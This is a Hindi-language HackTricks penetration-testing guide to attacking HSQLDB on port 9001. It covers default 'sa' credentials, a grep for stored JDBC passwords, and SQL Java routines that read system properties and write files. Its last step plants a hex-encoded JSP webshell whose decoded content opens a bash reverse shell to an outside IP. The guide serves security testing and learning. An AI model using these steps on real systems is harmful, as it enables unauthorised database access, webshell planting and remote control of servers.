hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

9.3 KiB

AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

HSQLDB [HyperSQL DataBase](http://hsqldb.org/) Java में लिखा गया एक प्रमुख SQL संबंधित डेटाबेस सिस्टम है। यह एक छोटा, तेज़ मल्टीथ्रेडेड और ट्रांजैक्शनल डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित टेबल्स होते हैं और यह एम्बेडेड और सर्वर मोड्स को सपोर्ट करता है।

डिफ़ॉल्ट पोर्ट: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

जानकारी

डिफ़ॉल्ट सेटिंग्स

ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही होती है या लोकलहोस्ट से बंधी होती है। यदि आपने इसे पाया है, तो आपने शायद किसी अन्य सेवा का शोषण किया है और आप विशेषाधिकारों को बढ़ाने की तलाश में हैं।

डिफ़ॉल्ट क्रेडेंशियल्स आमतौर पर sa होते हैं जिसका पासवर्ड खाली होता है।

यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स की खोज करें इसका उपयोग करके

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

ध्यान दें कि डेटाबेस का नाम सावधानीपूर्वक नोट करें - आपको कनेक्ट करने के लिए इसकी आवश्यकता होगी।

सूचना संग्रहण

HSQLDB डाउनलोड करके और hsqldb/lib/hsqldb.jar निकालकर DB इंस्टेंस से कनेक्ट करें। java -jar hsqldb.jar का उपयोग करके GUI ऐप eww चलाएं और पता चले/कमजोर क्रेडेंशियल्स का उपयोग करके इंस्टेंस से कनेक्ट करें।

नोट करें कि कनेक्शन URL एक दूरस्थ सिस्टम के लिए इस तरह दिखाई देगा: jdbc:hsqldb:hsql://ip/DBNAME.

ट्रिक्स

जावा भाषा रूटीन्स

हम HSQLDB का उपयोग करके जावा क्लास के स्टेटिक मेथड्स को कॉल कर सकते हैं। ध्यान दें कि कॉल की गई क्लास एप्लिकेशन के क्लासपाथ में होनी चाहिए।

JRTs functions या procedures हो सकते हैं। यदि जावा मेथड एक या अधिक SQL-संगत प्राइमिटिव वेरिएबल्स लौटाता है, तो फंक्शन्स को SQL स्टेटमेंट्स के माध्यम से कॉल किया जा सकता है। उन्हें VALUES स्टेटमेंट का उपयोग करके आमंत्रित किया जाता है।

यदि हम जिस जावा मेथड को कॉल करना चाहते हैं वह void लौटाता है, तो हमें एक प्रोसीजर का उपयोग करना होगा जिसे CALL स्टेटमेंट के साथ आमंत्रित किया जाता है।

जावा सिस्टम प्रॉपर्टीज पढ़ना

फंक्शन बनाएं:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

निष्पादित कार्य:

VALUES(getsystemproperty('user.name'))

आप यहाँ सिस्टम प्रॉपर्टीज की सूची देख सकते हैं

फाइल में कंटेंट लिखें

आप com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है ऑटो लोडेड इन्टू द क्लास पाथ ऑफ द एप्लिकेशन डिस्क पर हेक्स-एन्कोडेड आइटम्स को कस्टम प्रोसीजर के माध्यम से लिखने के लिए। अधिकतम आकार 1024 बाइट्स का ध्यान रखें

प्रोसीजर बनाएँ:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

निष्पादित प्रक्रिया:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: